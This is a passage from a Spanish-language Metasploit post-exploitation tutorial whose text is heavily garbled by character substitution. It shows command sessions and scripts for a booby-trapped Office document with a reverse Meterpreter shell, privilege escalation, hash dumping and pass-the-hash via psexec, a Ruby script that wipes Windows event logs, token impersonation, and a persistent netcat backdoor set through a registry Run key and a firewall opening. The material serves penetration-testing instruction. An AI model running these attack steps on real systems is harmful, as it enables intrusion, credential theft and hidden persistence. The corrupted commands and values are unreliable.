' fin de mantener la sospecha de usuario de ba%o, intente incrustar el cdio en una de las muchas
/alabra > Excel %ueos que estn disponibles en 4nternet. )e esta forma, el usuario es feliz %uando al
%ueo mientras se est traba%ando en el fondo. Esto le da ms tiempo para mirar a otro proceso si usted
est usando &eterpreter como un payload.
'ntes de enviar nuestro documento malicioso de nuestra vctima, primero tenemos que crear nuestro
oyente &etasploit.
rootGbtMH msfcl e!plot*mult*"andler PDJC9D7=wndows*meterpreter*re5erseItcp
C>9=2=,)-.,(0.,.,', CP9?2=0'0' 3
PZQ Please wat w"le we load t"e module tree...
[ [ I) [
II ^II \ I \ II[ I^ [ II[ II \ [ I \ [ II[
[ [ [ II* [ ( [\II \ [ [ [ ( [ [ [
I[ I[ I[\III[\II[\IIRI[IIII* .II* I[\III* I[\II[
I[
=P metasplot 5&./.,1de5 PcoreM&./ apM,.'Q
U 11 11=P (%% e!plots 1 &&- au!lary
U 11 11=P -,/ payloads 1 -% encoders 1 0 nops
=P s5n r,,,/& updated today (-','.,,.-/)
PDJC9D7 => wndows*meterpreter*re5erseItcp
C>9=2 => ,)-.,(0.,.,',
CP9?2 => 0'0'
PZQ =tarted re5erse "andler on ,)-.,(0.,.,',M0'0'
PZQ =tartn4 t"e payload "andler...
'hora podemos probar el documento al abrirlo y ver de nuevo a donde tenemos nuestro exploit
&etasploit > oyente multi > handler=
PZQ =endn4 sta4e (%.)'/( bytes) to ,)-.,(0.,.,/'
PZQ Meterpreter sesson , opened (,)-.,(0.,.,',M0'0' 1> ,)-.,(0.,.,/'M/-.(/) at
2"u Lo5 -/ ,(M/.M-) 1'%'' -','
meterpreter > sysnfo
ComputerM K3L1EBL%1P?97
9= M Endows % ($uld %(''R ).
Drc" M !(. (Current Process s E9E(.)
Can4ua4eM enI<=
meterpreter > 4etud
=er5er usernameM !en1wn%1prod\doo#e
meterpreter >
`xitoZ Tenemos el derecho de shell &eterpreter al sistema que abra el documento, y lo me%or de todo,
no son recoidas por los anti?virusZ
&S# /ost Exploitation
MSF mensa?e e.plotacin
)espu!s de haber traba%ado tan duro para aprovechar con !xito un sistema, Aqu! hacemos ahoraB
:amos a querer anar ms acceso a las redes de los ob%etivos internos de iro y cubriendo nuestras
pistas a medida que avanzamos de un sistema a otro. ' pentester tambi!n pueden optar a olfatear los
paquetes para otras posibles vctimas, editar sus reistros para obtener ms informacin o acceso, o la
creacin de una puerta trasera para mantener el acceso al sistema ms permanente.
El uso de estas t!cnicas se aseurar de que mantener un cierto nivel de acceso y, potencialmente,
puede conducir a ms puntos de apoyo en los ob%etivos de confianza de la infraestructura.
msf e!plot(ms,'I''-Iaurora) >
PZQ =endn4 Bnternet 3!plorer :Durora: Memory Corrupton to clent ,)-.,(0.,.,(,
PZQ =endn4 sta4e (%.0/.. bytes) to ,)-.,(0.,.,(,
PZQ Meterpreter sesson & opened (,)-.,(0.,.%,M&0()) 1> ,)-.,(0.,.,(,M....) at
-','1'01-, ,&M&)M,' 1'(''
msf e!plot(ms,'I''-Iaurora) > sessons 1 &
PZQ =tartn4 nteracton wt" &...
meterpreter > 4etud
=er5er usernameM K3L1KP1=P-1$D?3\5ctm
meterpreter >
/ara hacer uso de la -etsystem- comando, primero tenemos que carar la extensin del -priv. $orrer
etsystem con la ChC cambiar mostrar las opciones disponibles para nosotros.
meterpreter > use pr5
Coadn4 e!tenson pr5...success.
meterpreter > 4etsystem 1"
<sa4eM 4etsystem PoptonsQ
Dttempt to ele5ate your pr5le4e to t"at of local system.
9P2B9L=M
1" >elp $anner.
1t 2"e tec"n@ue to use. (7efault to A'A).
' M Dll tec"n@ues a5alable
, M =er5ce 1 Lamed Ppe Bmpersonaton (Bn Memory*Ddmn)
- M =er5ce 1 Lamed Ppe Bmpersonaton (7ropper*Ddmn)
& M =er5ce 1 2o#en 7uplcaton (Bn Memory*Ddmn)
. M 3!plot 1 X2rap'7 (Bn Memory*<ser)
:amos a de%ar que &etasploit hacer el traba%o pesado para nosotros y e%ecutar etsystem sin ninuna
opcin. El uin tratar todos los medios a su alcance, y se detendr cuando tiene !xito. En un abrir y
cerrar de o%os, la sesin ya est funcionando con privileios de SWSTE&.
meterpreter > 4etsystem
...4ot system (5a tec"n@ue .).
meterpreter > 4etud
=er5er usernameM L2 D<2>9?B2J\=J=23M
meterpreter >
/Sexec /ass The "ash
5n mdulo que no es muy conocido es la capacidad de utilizar /SENE$ en &etasploit. El psexec
mdulo es de uso frecuente por los probadores de la penetracin para obtener acceso a un sistema dado
que ya conoce las credenciales de. #ue escrito por Sysinternals y se ha interado en el frame2or3. '
menudo como pruebas de penetracin, con !xito acceder a un sistema a trav!s de aluna obra, el uso
meterpreter para aarrar las contrase0as u otros m!todos como fdump, p2dump o cachedump y lueo
utilizar rainbo2tables para romper los valores hash.
Tambi!n tenemos otras opciones, como pasar el hash a trav!s de herramientas como iam.exe. 5n
m!todo muy bien con psexec en metasploit es que te permite entrar en la propia contrase0a, o
simplemente basta con especificar los valores hash, no hay necesidad de romper para tener acceso al
sistema. :amos a pensar profundamente acerca de cmo podemos utilizar este ataque para penetrar una
red. )e%a primero para decir que comprometer un sistema que tiene una contrase0a de administrador en
el sistema, no es necesario que la rieta porque psexec nos permite utilizar slo los valores hash, que
cuenta de administrador es el mismo en todas las cuentas dentro de la infraestructura de dominio.
'hora podemos pasar de un sistema a otro sin tener que preocuparse por descifrar el pass2ord. 5na
cosa importante a destacar en esto es que si 9T7& slo est disponible Kpor e%emplo, su contrase0a de
un OL V carcter o por medio de ./, que especificar slo respuesta 9T7&M, basta con sustituir el RRRR
RRRR 9,/'SS(,6) con EJ G es, por e%emplo, =
ZZZZZZL9PD==E9?7ZZZZZZZM00.(f%eaee0fb,,%ad'(bdd0&'b%/0(c
'hora reemplazamos con=
''''''''''''''''''''''''''''''''M00.(f%eaee0fb,,%ad'(bdd0&'b%/0(c
&ientras que la prueba esta en su lab, puede encontrar el siuiente error a pesar de que est utilizando
las credenciales correctas=
=2D2<=IDCC3==I73LB37 (Command=,,% EordCount=')
Esto se puede remediar mediante la naveacin con la clave de
reistro,;"Y,OJ/O#A/JMA#"&(,ESystemE#urrent#ontrolSetEServicesE/anManServerE2ara
meters;en los sistemas de destino y establecer el valor de ;)e'uireSecuritySi!nature; to ;8;.
PZQ Meterpreter sesson , opened (,)-.,(0./%.,&)M..& 1> ,)-.,(0./%.,&,M,'.-)
meterpreter > run post*wndows*4at"er*"as"dump
PZQ 9btann4 t"e boot #ey...
PZQ Calculatn4 t"e "boot #ey usn4 =J=X3J 0/-0c%0df%ff//'.',)(a)b(%'f,,.b(...
PZQ 9btann4 t"e user lst and #eys...
PZQ 7ecryptn4 user #eys...
PZQ 7umpn4 password "as"es...
DdmnstratorM/''Me/-cac(%.,)a)a--.a&b,'0f&fa(cb(dM00.(f%eaee0fb,,%ad'(bdd0&'b%/0(
cMMM
meterpreter >
'hora que tenemos una consola meterpreter ob%eto de dumpin y los hashes, permite conectarse a una
vctima diferente con /sExec y slo los valores hash.
rootGbtM*pentest*e!plots*framewor#&H msfconsole
I
[ [ o
I I I I I[I IIR R I [ [ II I[I
* [* [* [ [* [ * [ * \I[* \I[* * \I[ [
[ [ [I*[II*[I*\I*[I* \* [II* [II*\II* [I*[I*
*[
\[
=P metasplot 5&.0.'1de5 PcoreM&.0 apM,.'Q
U 11 11=P ()& e!plots 1 &/0 au!lary 1 &) post
U 11 11=P --& payloads 1 -% encoders 1 0 nops
=P s5n r,-%0% updated today (-',,.'/.&,)
msf > searc" pse!ec
PZQ =earc"n4 loaded modules for pattern Apse!ecA...
3!plots
========
Lame 7escrpton
1111 11111111111
wndows*smb*pse!ec Mcrosoft Endows Dut"entcated <ser Code 3!ecuton
wndows*smb*smbIrelay Mcrosoft Endows =M$ ?elay Code 3!ecuton
msf > use e!plot*wndows*smb*pse!ec
msf e!plot(pse!ec) > set payload wndows*meterpreter*re5erseItcp
payload => wndows*meterpreter*re5erseItcp
msf e!plot(pse!ec) > set C>9=2 ,)-.,(0./%.,&&
C>9=2 => ,)-.,(0./%.,&&
msf e!plot(pse!ec) > set CP9?2 ..&
CP9?2 => ..&
msf e!plot(pse!ec) > set ?>9=2 ,)-.,(0./%.,&,
?>9=2 => ,)-.,(0./%.,&,
msf e!plot(pse!ec) > s"ow optons
Module optonsM
Lame Current =ettn4 ?e@ured 7escrpton
1111 111111111111111 11111111 11111111111
?>9=2 ,)-.,(0./%.,&, yes 2"e tar4et address
?P9?2 ../ yes =et t"e =M$ ser5ce port
=M$Pass no 2"e password for t"e specfed username
=M$<ser Ddmnstrator yes 2"e username to aut"entcate as
Payload optons (wndows*meterpreter*re5erseItcp)M
Lame Current =ettn4 ?e@ured 7escrpton
1111 111111111111111 11111111 11111111111
3KB26<LC t"read yes 3!t tec"n@ueM se"R t"readR process
C>9=2 ,)-.,(0./%.,&& yes 2"e local address
CP9?2 ..& yes 2"e local port
3!plot tar4etM
Bd Lame
11 1111
' Dutomatc
msf e!plot(pse!ec) > set =M$Pass
e/-cac(%.,)a)a--.a&b,'0f&fa(cb(dM00.(f%eaee0fb,,%ad'(bdd0&'b%/0(c
=M$Pass => e/-cac(%.,)a)a--.a&b,'0f&fa(cb(dM00.(f%eaee0fb,,%ad'(bdd0&'b%/0(c
msf e!plot(pse!ec) > e!plot
PZQ Connectn4 to t"e ser5er...
PZQ =tarted re5erse "andler
PZQ Dut"entcatn4 as user ADdmnstratorA...
PZQ <ploadn4 payload...
PZQ Created \Xo8C!Cj!.e!e...
PZQ $ndn4 to &(%abb0,1)0..1&/f,1ad&-1
)0f'&0'',''&M-.'GncacnInpM,)-.,(0./%.,&,P\s5cctlQ ...
PZQ $ound to &(%abb0,1)0..1&/f,1ad&-1
)0f'&0'',''&M-.'GncacnInpM,)-.,(0./%.,&,P\s5cctlQ ...
PZQ 9btann4 a ser5ce mana4er "andle...
PZQ Creatn4 a new ser5ce (KX@tXnn 1 :M==eJt9Sydn?PEl:)...
PZQ Closn4 ser5ce "andle...
PZQ 9penn4 ser5ce...
PZQ =tartn4 t"e ser5ce...
PZQ ?emo5n4 t"e ser5ce...
PZQ Closn4 ser5ce "andle...
PZQ 7eletn4 \Xo8C!Cj!.e!e...
PZQ =endn4 sta4e (%,)&(' bytes)
PZQ Meterpreter sesson , opened (,)-.,(0./%.,&&M..& 1> ,)-.,(0./%.,&,M,'./)
meterpreter > s"ell
Process &(0' created.
C"annel , created.
Mcrosoft Endows P8erson /.-.&%)'Q
(C) Copyr4"t ,)0/1-''& Mcrosoft Corp.
CM\EBL79E=\system&->
(so es todoW !emos logrado conectar a un euipo independiente con las mismas credenciales@ sin
tener ue preocuparse por rainbo"tables o 'ormacin de grietas de la contrase6a; 5n agradecimiento
especial a ,hris Kates para la documentacin sobre este tema;
,vent /o! Mana!ement
' veces es me%or no tener reistrados sus actividades. $ualquiera sea la razn, usted puede encontrar
una situacin en la que usted necesita para eliminar los reistros de sucesos de (indo2s. En cuanto a
la fuente para el uin 2inenum, ubicado en -scripts > meterpreter-, podemos ver la forma en que esta
funcin se activa.
def clre5tl4s()
e5tlo4s = P
AsecurtyAR
AsystemAR
AapplcatonAR
Adrectory ser5ceAR
Adns ser5erAR
Afle replcaton ser5ceA
Q
prntIstatus(:Clearn4 35ent Co4sR t"s wll lea5e and e5ent /,%:)
be4n
e5tlo4s.eac" do [e5l[
prntIstatus(:\tClearn4 t"e HOe5lV 35ent Co4:)
lo4 = Gclent.sys.e5entlo4.open(e5l)
lo4.clear
fleIlocalIwrte(GdestR:Cleared t"e HOe5lV 35ent Co4:)
end
prntIstatus(:Dll 35ent Co4s "a5e been cleared:)
rescue MM3!cepton => e
prntIstatus(:3rror clearn4 35ent Co4M HOe.classV HOeV:)
end
end
Echemos un vistazo a un escenario en el que necesitamos para limpiar el reistro de eventos, pero en
luar de utilizar un uin preparado de antemano para hacer el traba%o por nosotros, vamos a utilizar el
poder del int!rprete de 6uby en &eterpreter borrar los reistros sobre la marcha. En primer luar,
vamos a ver el reistro de -Sistema- nuestra eventos de (indo2s.
'hora, vamos a explotar el sistema de forma manual y limpiar los reistros. :amos a nuestro modelo
de comando fuera del uin 2inenum. E%ecucin de Clo T client.sys.eventlo.open KC sistema CM se
abrir el reistro del sistema para nosotros.
msf e!plot(warftpdI,(/Iuser) > e!plot
PZQ >andler bndn4 to C>9=2 '.'.'.'
PZQ =tarted re5erse "andler
PZQ Connectn4 to 62P ser5er ,%-.,(.,'..,./M-,...
PZQ Connected to tar4et 62P ser5er.
PZQ 2ryn4 tar4et Endows -''' =P'1=P. 3n4ls"...
PZQ 2ransmttn4 ntermedate sta4er for o5er1s+ed sta4e...(,), bytes)
PZQ =endn4 sta4e (-(/' bytes)
PZQ =leepn4 before "andln4 sta4e...
PZQ <ploadn4 7CC (%/%0% bytes)...
PZQ <pload completed.
PZQ Meterpreter sesson - opened (,%-.,(.,'..,&'M.... 1> ,%-.,(.,'..,./M,-.()
meterpreter > rb
PZQ =tartn4 B?$ s"ell
PZQ 2"e AclentA 5arable "olds t"e meterpreter clent
>> lo4 = clent.sys.e5entlo4.open(AsystemA)
=> H<HM'!b(%%).-. Gclent=H>R H>R H
:wndows*browser*faceboo#Ie!tractptc:=>HR
:wndows*ant5rus*trendmcroIser5erprotectIeart"a4ent:=>HR
:wndows*browser*eIscomponentnstalled:=>HR :wndows*e!ec*re5erseIordItcp:=>HR
:wndows*"ttp*apac"eIc"un#ed:=>HR :wndows*map*no5ellInetmalIappend:=>H
'hora vamos a ver si podemos limpiar el reistro mediante la e%ecucin de -lo.clear.
:amos a ver si funcionaba.
`xitoZ 'hora podemos ir ms le%os, y crear nuestro propio uin para despe%ar los reistros de eventos.
H Clears Endows 35ent Co4s
e5tlo4s = P
AsecurtyAR
AsystemAR
AapplcatonAR
Adrectory ser5ceAR
Adns ser5erAR
Afle replcaton ser5ceA
Q
prntIlne(:Clearn4 35ent Co4sR t"s wll lea5e an e5ent /,%:)
e5tlo4s.eac" do [e5l[
prntIstatus(:Clearn4 t"e HOe5lV 35ent Co4:)
lo4 = clent.sys.e5entlo4.open(e5l)
lo4.clear
end
prntIlne(:Dll Clear! Jou are a Lnja!:)
)espu!s de escribir el uin, lo colocamos en > pentest>exploits>frame2or3E>scripts>meterpreter.
Entonces, vamos a volver a explotar el sistema y ver si funciona.
msf e!plot(warftpdI,(/Iuser) > e!plot
PZQ >andler bndn4 to C>9=2 '.'.'.'
PZQ =tarted re5erse "andler
PZQ Connectn4 to 62P ser5er ,%-.,(.,'..,./M-,...
PZQ Connected to tar4et 62P ser5er.
PZQ 2ryn4 tar4et Endows -''' =P'1=P. 3n4ls"...
PZQ 2ransmttn4 ntermedate sta4er for o5er1s+ed sta4e...(,), bytes)
PZQ =endn4 sta4e (-(/' bytes)
PZQ =leepn4 before "andln4 sta4e...
PZQ <ploadn4 7CC (%/%0% bytes)...
PZQ <pload completed.
PZQ Meterpreter sesson , opened (,%-.,(.,'..,&'M.... 1> ,%-.,(.,'..,./M,-/&)
meterpreter > run clearlo4s
Clearn4 35ent Co4sR t"s wll lea5e an e5ent /,%
PZQ Clearn4 t"e securty 35ent Co4
PZQ Clearn4 t"e system 35ent Co4
PZQ Clearn4 t"e applcaton 35ent Co4
PZQ Clearn4 t"e drectory ser5ce 35ent Co4
PZQ Clearn4 t"e dns ser5er 35ent Co4
PZQ Clearn4 t"e fle replcaton ser5ce 35ent Co4
Dll Clear! Jou are a Lnja!
meterpreter > e!t
W el evento Dnico que queda en el reistro en el sistema es el esperado LOF.
Este es el poder de &eterpreter. Sin mucho que no sea un cdio de e%emplo que hemos tomado de otro
uin, hemos creado una herramienta Dtil para ayudarnos a cubrir nuestras acciones.
Fun Aith &nco!nito
4nconito era oriinalmente una aplicacin independiente que le ha permitido hacerse pasar por
smbolos de usuario en !xito comprometer un sistema. Esta fue interada en &etasploit y finalmente en
&eterpreter.
/uedes leer ms acerca de 4nconito y la forma simblica a trav!s de robo de obras de 7ucas papel
+ennins orinial sobre el tema aqu=http=>>labs.m2rinfosecurity.com>publications>m2ri@security?
implications?of?2indo2s?access?to3ens@JGGX?GI?OI.pdf En pocas palabras, los to3ens son como las
coo3ies de 4nternet. Se trata de una clave temporal que le permite acceder al sistema y la red sin tener
que proporcionar credenciales cada vez que acceda a un archivo. 4ncnito los exploits esta coo3ie de
la misma manera robo de obras, mediante la reproduccin de la llave temporal cuando se le preunt a
la autenticacin. "ay dos tipos de fichas, deleado, y suplantar. )eleado se crean para CinteractivoC
los inicios de sesin, como la tala en la mquina, o conectarse a ella a trav!s de escritorio remoto.
#ichas son para hacerse pasar por Cno interactivoC sesiones, como la colocacin de una unidad de red, o
un script de inicio de sesin de dominio.
7as randes cosas acerca de los to3ensB Se mantienen hasta un reinicio. $uando un usuario cierra la
sesin, su to3en deleado se presenta como un smbolo de hacerse pasar, pero mantendr la totalidad de
los derechos de un to3en deleado.
< ,O1%(8O < 7os servidores de archivos son virtuales troves del tesoro de to3ens como la mayora de
servidores de archivos se utilizan como unidades de red conectado a trav!s de scripts de inicio de
sesin de dominio
/or lo tanto, una vez que haya una consola &eterpreter, puede hacerse pasar por to3ens vlidos en el
sistema y convertirse en ese usuario especfico sin tener que preocuparse acerca de las credenciales o
para el caso, incluso hashes. )urante una prueba de penetracin es especialmente Dtil debido al hecho
de que los smbolos tienen la posibilidad de que los locales y > o escalada de privileios de dominio, lo
que le caminos alternativos con privileios elevados potencialmente a mDltiples sistemas.
/rimero vamos a carar nuestro exploit favorito, msGX@GPF@netapi, con una cara &eterpreter. Tena
en cuenta que confiurar manualmente el ob%etivo ya que este exploit en particular no siempre detecta
automticamente el ob%etivo correctamente. Si lo establece a un ob%etivo conocido arantizar el
derecho de las direcciones de memoria se utilizan con fines de explotacin.
msf > use e!plot*wndows*smb*ms'0I'(%Inetap
msf e!plot(ms'0I'(%Inetap) > set ?>9=2 ,'.-,,.//.,.'
?>9=2 => ,'.-,,.//.,.'
msf e!plot(ms'0I'(%Inetap) > set PDJC9D7 wndows*meterpreter*re5erseItcp
PDJC9D7 => wndows*meterpreter*re5erseItcp
msf e!plot(ms'0I'(%Inetap) > set C>9=2 ,'.-,,.//.,(-
C>9=2 => ,'.-,,.//.,(-
msf e!plot(ms'0I'(%Inetap) > set CDL; en4ls"
CDL; => en4ls"
msf e!plot(ms'0I'(%Inetap) > s"ow tar4ets
3!plot tar4etsM
Bd Lame
11 1111
' Dutomatc 2ar4etn4
, Endows -''' <n5ersal
- Endows KP =P'*=P, <n5ersal
& Endows KP =P- 3n4ls" (LK)
. Endows KP =P& 3n4ls" (LK)
/ Endows -''& =P' <n5ersal
( Endows -''& =P, 3n4ls" (L9 LK)
% Endows -''& =P, 3n4ls" (LK)
0 Endows -''& =P- 3n4ls" (L9 LK)
) Endows -''& =P- 3n4ls" (LK)
,' Endows KP =P- Drabc (LK)
,, Endows KP =P- C"nese 1 2radtonal * 2awan (LK)
msf e!plot(ms'0I'(%Inetap) > set 2D?;32 0
tar4et => 0
msf e!plot(ms'0I'(%Inetap) > e!plot
PZQ >andler bndn4 to C>9=2 '.'.'.'
PZQ =tarted re5erse "andler
PZQ 2r44ern4 t"e 5ulnerablty...
PZQ 2ransmttn4 ntermedate sta4er for o5er1s+ed sta4e...(,), bytes)
PZQ =endn4 sta4e (-(/' bytes)
PZQ =leepn4 before "andln4 sta4e...
PZQ <ploadn4 7CC (%/%0% bytes)...
PZQ <pload completed.
PZQ Meterpreter sesson , opened (,'.-,,.//.,(-M.... 1> ,'.-,,.//.,.'M,'-0)
meterpreter >
'hora tenemos una consola &eterpreter de que vamos a iniciar nuestro ataque smbolo de incnito. 'l
iual que priv Khashdump y timestompM y ST)'/4 Kcara, descara, etcMincnito es un mdulo
meterpreter. $aramos el mdulo en la sesin meterpreter e%ecutando el comando -el uso de incnito C.
Emisin de la CayudaC comando nos muestra la variedad de opciones que tenemos para incnito y una
breve descripcin de cada opcin.
meterpreter > use nco4nto
Coadn4 e!tenson nco4nto...success.
meterpreter > "elp
Bnco4nto Commands
==================
Command 7escrpton
1111111 11111111111
addI4roupIuser Dttempt to add a user to a 4lobal 4roup wt" all to#ens
addIlocal4roupIuser Dttempt to add a user to a local 4roup wt" all to#ens
addIuser Dttempt to add a user wt" all to#ens
mpersonateIto#en Bmpersonate specfed to#en
lstIto#ens Cst to#ens a5alable under current user conte!t
snarfI"as"es =narf c"allen4e*response "as"es for e5ery to#en
meterpreter >
A<u! tendremos que hacer primero es identificar si hay to3ens vlidos en este sistema. )ependiendo
del nivel de acceso que proporciona el exploit est limitado en los realos que se pueden ver. $uando
se trata de robo de se0al, el sistema es el rey. $omo sistema que permite ver y utilizar cualquier se0al
en la ca%a.
R T4/ R= 7os administradores no tienen acceso a todos los to3ens o bien, pero tienen la capacidad de
mirar a los procesos del sistema, de manera eficaz el sistema de toma y capaz de ver todas las fichas
disponibles.
meterpreter > lstIto#ens 1u
7ele4aton 2o#ens D5alable
========================================
L2 D<2>9?B2J\C9CDC =3?8BC3
L2 D<2>9?B2J\L32E9?X =3?8BC3
L2 D<2>9?B2J\=J=23M
=L3DX=.BL\Ddmnstrator
Bmpersonaton 2o#ens D5alable
========================================
L2 D<2>9?B2J\DL9LJM9<= C9;9L
meterpreter >
:emos aqu que hay un to3en de administrador vlida que parece ser de su inter!s. 'hora tenemos que
pasar por esta razn con el fin de asumir sus privileios. 'l proceder a la Cimpersonate@to3en
-comando, tena en cuenta las dos barras invertidas enC S9E'*S.49 [ [ 'dministrador C. Esto es
necesario ya que hace que los insectos con una sola barra. Tena en cuenta tambi!n que despu!s de
hacerse pasar con !xito una muestra, comprobamos nuestra 4) de usuario actual mediante la e%ecucin
de la -etuid- comando.
meterpreter > mpersonateIto#en =L3DX=.BL\\Ddmnstrator
PUQ 7ele4aton to#en a5alable
PUQ =uccessfully mpersonated user =L3DX=.BL\Ddmnstrator
meterpreter > 4etud
=er5er usernameM =L3DX=.BL\Ddmnstrator
meterpreter >
' continuacin, le permite e%ecutar una shell, ya que cuenta individual mediante la e%ecucin de
Ce%ecutar cmd.exe?f?i?t -desde dentro &eterpreter. 7a e%ecucin de cmd.exe?f est diciendo &etasploit
para e%ecutar cmd.exe, el i?nos permite interactuar con el /$ a las vctimas, y el t?asume el papel que
acaba de suplantar a trav!s de incnito.
meterpreter > s"ell
Process -0'. created.
C"annel , created.
Mcrosoft Endows KP P8erson /.,.-(''Q
(C) Copyr4"t ,)0/1-'', Mcrosoft Corp.
CM\EBL79E=\system&-> w"oam
w"oam
=L3DX=.BL\admnstrator
CM\EBL79E=\system&->
'he result* $uccess;
4nteractin (ith The 6eistry
&nteractuando con el re!istro=
El 6eistro de (indo2s es un luar mico, donde con slo pulsar unas teclas que pueden hacer que
un sistema prcticamente inutilizable. /or lo tanto, ser muy cuidadosos en la siuiente seccin, como
los errores pueden ser dolorosos.
&eterpreter tiene alunas funciones muy Dtiles para la interaccin de reistro. Echemos un vistazo a las
opciones.
meterpreter > re4
<sa4eM re4 PcommandQ PoptonsQ
Bnteract wt" t"e tar4et mac"neAs re4stry.
9P2B9L=M
1d 2"e data to store n t"e re4stry 5alue.
1" >elp menu.
1# 2"e re4stry #ey pat" (3.4. >XCM\=oftware\6oo).
1t 2"e re4stry 5alue type (3.4. ?3;I=Y).
15 2"e re4stry 5alue name (3.4. =tuff).
C9MMDL7=M
enum#ey 3numerate t"e suppled re4stry #ey P1# <#ey>Q
create#ey Create t"e suppled re4stry #ey P1# <#ey>Q
delete#ey 7elete t"e suppled re4stry #ey P1# <#ey>Q
@ueryclass Sueres t"e class of t"e suppled #ey P1# <#ey>Q
set5al =et a re4stry 5alue P1# <#ey> 15 <5al> 1d <data>Q
delete5al 7elete t"e suppled re4stry 5alue P1# <#ey> 15 <5al>Q
@uery5al Sueres t"e data contents of a 5alue P1# <#ey> 15 <5al>Q
'qu podemos ver hay varias opciones que podemos utilizar para interactuar con el sistema remoto.
Tenemos las opciones completas de lectura, escritura, crear y eliminar entradas de reistro remoto.
Estos pueden ser usados para cualquier nDmero de acciones, incluyendo la recopilacin de informacin
a distancia. 5tilizando el reistro, se pueden encontrar los archivos que han sido utilizados, sitios 2eb
visitados en 4nternet Explorer, los proramas utilizados, los dispositivos 5S; utilizados, y as
sucesivamente.
"ay una ran lista de referencia rpida de estas entradas en el reistro interesante publicado por el
acceso a datos en
http=>>222.accessdata.com>media>en@5S>print>papers>2p.6eistry@<uic3@#ind@$hart.en@us.pdf
as como cualquier nDmero de referencias en 4nternet vale la pena encontrar cuando hay alo especfico
que usted est buscando.
/ersistent 9etcat ;ac3door
<ackdoor (etcat persistente
En este e%emplo, en luar de buscar informacin en el sistema remoto, se va a instalar una puerta
trasera netcat. Esto incluye cambios en el reistro del sistema y fire2all.
En primer luar, hay que carar una copia de netcat en el sistema remoto.
meterpreter > upload *pentest*wndows1bnares*tools*nc.e!e CM\\wndows\\system&-
PZQ uploadn4 M *tmp*nc.e!e 1> CM\wndows\system&-
PZQ uploaded M *tmp*nc.e!e 1> CM\wndows\system&-nc.e!e
/ue!o6 traa?amos con el re!istro 'ue netcat e?ecute en el arran'ue y escuchar en el puerto ZDD4
"acemos esto mediante la edicin de Q"Y/M E software E Microsoft E Aindows E #urrent+ersion E
)un ;la clave4
meterpreter > re4 enum#ey 1#
>XCM\\software\\mcrosoft\\wndows\\current5erson\\run
3numeratn4M >XCM\software\mcrosoft\wndows\current5erson\run
8alues (&)M
8Mware 2ools
8Mware <ser Process
@uc#tftpser5er
meterpreter > re4 set5al 1#
>XCM\\software\\mcrosoft\\wndows\\current5erson\\run 15 nc 1d
ACM\wndows\system&-\nc.e!e 1Cdp ../ 1e cmd.e!eA
=uccessful set nc.
meterpreter > re4 @uery5al 1#
>XCM\\software\\mcrosoft\\wndows\\current5erson\\?un 15 nc
XeyM >XCM\software\mcrosoft\wndows\current5erson\?un
LameM nc
2ypeM ?3;I=Y
7ataM CM\wndows\system&-\nc.e!e 1Cdp ../ 1e cmd.e!e
' continuacin, tenemos que cambiar el sistema para permitir conexiones remotas a trav!s del servidor
de seuridad para nuestro bac3door netcat. 'brimos un smbolo del sistema interactivo y el uso de la
CnetshC de comandos para realizar los cambios, ya que es un error mucho menos propensos a alterar
directamente el reistro. 'dems, el proceso que se muestra debe traba%ar a trav!s de distintas versiones
de (indo2s, como ubicaciones de reistro y las funciones son altamente versin y nivel de parches
dependientes.
meterpreter > e!ecute 1f cmd 1
Process ,('. created.
C"annel , created.
Mcrosoft Endows KP P8erson /.,.-(''Q
(C) Copyr4"t ,)0/1-'', Mcrosoft Corp.
CM\7ocuments and =ettn4s\bm\My 7ocuments > nets" frewall s"ow opmode
Lets" frewall s"ow opmode
7oman profle conf4uratonM
1111111111111111111111111111111111111111111111111111111111111111111
9peratonal mode = 3nable
3!cepton mode = 3nable
=tandard profle conf4uraton (current)M
1111111111111111111111111111111111111111111111111111111111111111111
9peratonal mode = 3nable
3!cepton mode = 3nable
Cocal Drea Connecton frewall conf4uratonM
1111111111111111111111111111111111111111111111111111111111111111111
9peratonal mode = 3nable
5brimos el puerto 224 en el fire<all y compruebe .ue se estableci correctamente.
CM\7ocuments and =ettn4s\bm\My 7ocuments > nets" frewall add portopenn4 2CP
.// :=er5ce 6rewall: 3LD$C3 DCC
nets" frewall add portopenn4 2CP .// :=er5ce 6rewall: 3LD$C3 DCC
9#.
CM\7ocuments and =ettn4s\bm\My 7ocuments > nets" frewall s"ow portopenn4
nets" frewall s"ow portopenn4
Port conf4uraton for 7oman profleM
Port Protocol Mode Lame
1111111111111111111111111111111111111111111111111111111111111111111
,&) 2CP 3nable Let$B9= =esson =er5ce
../ 2CP 3nable =M$ o5er 2CP
,&% <7P 3nable Let$B9= Lame =er5ce
,&0 <7P 3nable Let$B9= 7ata4ram =er5ce
Port conf4uraton for =tandard profleM
Port Protocol Mode Lame
1111111111111111111111111111111111111111111111111111111111111111111
.// 2CP 3nable =er5ce 6rewall
,&) 2CP 3nable Let$B9= =esson =er5ce
../ 2CP 3nable =M$ o5er 2CP
,&% <7P 3nable Let$B9= Lame =er5ce
,&0 <7P 3nable Let$B9= 7ata4ram =er5ce
CM\7ocuments and =ettn4s\bm\My 7ocuments >
's que con eso se termin, vamos a reiniciar el sistema remoto y poner a prueba la shell netcat.
rootGbtM*pentest*e!plots*framewor#&H nc 15 ,%-.,(.,'..,-0 .//
,%-.,(.,'..,-0M n5erse "ost loo#up faledM <n#nown ser5er error M Connecton
tmed out
(<LXL9EL) P,%-.,(.,'..,-0Q .// (W) open
Mcrosoft Endows KP P8erson /.,.-(''Q
(C) Copyr4"t ,)0/1-'', Mcrosoft Corp.
CM\7ocuments and =ettn4s\bm > dr
dr
8olume n dr5e C "as no label.
8olume =eral Lumber s 3.-&13%-(
7rectory of CM\7ocuments and =ettn4s\bm
'/*'&*-'') ',M.& DM
.
'/*'&*-'') ',M.& DM
..
'/*'&*-'') ',M-( DM ' N
'/*,-*-'') ,'M/& PM
7es#top
,'*-)*-''0 '/M// PM
6a5ortes
'/*,-*-'') ,'M/& PM
My 7ocuments
'/*'&*-'') ',M.& DM ' SCJ
,'*-)*-''0 '&M/, DM
=tart Menu
'/*'&*-'') ',M-/ DM ' talltelnet.lo4
'/*'&*-'') ',M-/ DM ' talltftp.lo4
. 6le(s) ' bytes
( 7r(s) &/R/.'R%),R-)( bytes free
CM\7ocuments and =ettn4s\bm >
MaravillosoV ,n una situacin real6 no estar3amos usando una puerta trasera simple como esto6
sin autenticacin o cifrado6 sin emar!o los principios de este proceso si!uen siendo los mismos
de otros camios en el sistema6 y otros tipos de pro!ramas 'ue uno 'uiera e?ecute en el arran'ue4
Enablin 6emote )es3top
"ailitacin de ,scritorio remoto
